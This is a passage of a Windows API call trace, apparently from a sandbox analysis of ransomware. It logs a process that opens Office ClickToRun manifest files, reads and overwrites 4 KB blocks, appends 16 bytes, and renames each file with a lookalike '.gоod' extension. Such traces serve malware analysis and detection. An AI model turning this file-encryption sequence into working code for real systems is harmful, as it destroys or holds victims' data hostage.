returned 1 [0097.691] GetFileType (hFile=0x7c0) returned 0x1 [0097.691] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0097.691] ReadFile (in: hFile=0x7c0, lpBuffer=0x33467e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33467e8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0097.869] CloseHandle (hObject=0x7c0) returned 1 [0097.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.927] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.928] GetFileType (hFile=0x7c0) returned 0x1 [0097.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.928] GetFileType (hFile=0x7c0) returned 0x1 [0097.928] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x809e [0097.928] WriteFile (in: hFile=0x7c0, lpBuffer=0x32a62b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x32a62b0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0097.929] CloseHandle (hObject=0x7c0) returned 1 [0097.930] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.930] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.930] GetFileType (hFile=0x7c0) returned 0x1 [0097.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.930] GetFileType (hFile=0x7c0) returned 0x1 [0097.930] ReadFile (in: hFile=0x7c0, lpBuffer=0x32a97e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x32a97e8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0097.959] CloseHandle (hObject=0x7c0) returned 1 [0097.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.959] GetFileType (hFile=0x7c0) returned 0x1 [0097.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.959] GetFileType (hFile=0x7c0) returned 0x1 [0097.959] WriteFile (in: hFile=0x7c0, lpBuffer=0x32a84b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x32a84b8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0097.959] CloseHandle (hObject=0x7c0) returned 1 [0097.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.959] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x77 [0097.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0097.959] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x369b0572, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80ae)) returned 1 [0097.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0097.960] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.gоod")) returned 1 [0097.960] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0097.960] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3327cd8 | out: lpFileInformation=0x3327cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae)) returned 1 [0097.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0097.961] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.961] GetFileType (hFile=0x7c0) returned 0x1 [0097.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.961] GetFileType (hFile=0x7c0) returned 0x1 [0097.961] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0097.961] ReadFile (in: hFile=0x7c0, lpBuffer=0x3328220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3328220*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0098.240] CloseHandle (hObject=0x7c0) returned 1 [0098.240] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0098.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.240] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.240] GetFileType (hFile=0x7c0) returned 0x1 [0098.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.240] GetFileType (hFile=0x7c0) returned 0x1 [0098.240] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x63ae [0098.240] WriteFile (in: hFile=0x7c0, lpBuffer=0x33752c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33752c0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0098.242] CloseHandle (hObject=0x7c0) returned 1 [0098.242] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0098.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.242] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.242] GetFileType (hFile=0x7c0) returned 0x1 [0098.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.242] GetFileType (hFile=0x7c0) returned 0x1 [0098.242] ReadFile (in: hFile=0x7c0, lpBuffer=0x33776c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33776c0*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0098.524] CloseHandle (hObject=0x7c0) returned 1 [0098.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0098.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.524] GetFileType (hFile=0x7c0) returned 0x1 [0098.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.524] GetFileType (hFile=0x7c0) returned 0x1 [0098.524] WriteFile (in: hFile=0x7c0, lpBuffer=0x329bee0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x329bee0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0098.524] CloseHandle (hObject=0x7c0) returned 1 [0098.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0098.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x7a [0098.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0098.525] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x36f08918, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x63be)) returned 1 [0098.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0098.525] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.gоod")) returned 1 [0098.525] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0098.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0098.525] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), fInfoLevelId=0x0, lpFileInformation=0x334a608 | out: lpFileInformation=0x334a608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee)) returned 1 [0098.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0098.526] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0098.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.526] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.527] GetFileType (hFile=0x7c0) returned 0x1 [0098.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.527] GetFileType (hFile=0x7c0) returned 0x1 [0098.527] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0098.527] ReadFile (in: hFile=0x7c0, lpBuffer=0x334ab50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x334ab50*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0098.561] CloseHandle (hObject=0x7c0) returned 1 [0098.561] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0098.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.561] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.562] GetFileType (hFile=0x7c0) returned 0x1 [0098.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.562] GetFileType (hFile=0x7c0) returned 0x1 [0098.562] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x5fee [0098.562] WriteFile (in: hFile=0x7c0, lpBuffer=0x33cbd18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33cbd18*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0098.612] CloseHandle (hObject=0x7c0) returned 1 [0098.612] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0098.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.613] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.613] GetFileType (hFile=0x7c0) returned 0x1 [0098.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.613] GetFileType (hFile=0x7c0) returned 0x1 [0098.613] ReadFile (in: hFile=0x7c0, lpBuffer=0x34605f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x34605f8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0098.737] CloseHandle (hObject=0x7c0) returned 1 [0098.737] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0098.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0098.737] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0098.737] GetFileType (hFile=0x7c0) returned 0x1 [0098.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0098.737] GetFileType (hFile=0x7c0) returned 0x1 [0098.737] WriteFile (in: hFile=0x7c0, lpBuffer=0x32b4fa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x32b4fa0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0099.129] CloseHandle (hObject=0x7c0) returned 1 [0099.129] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: 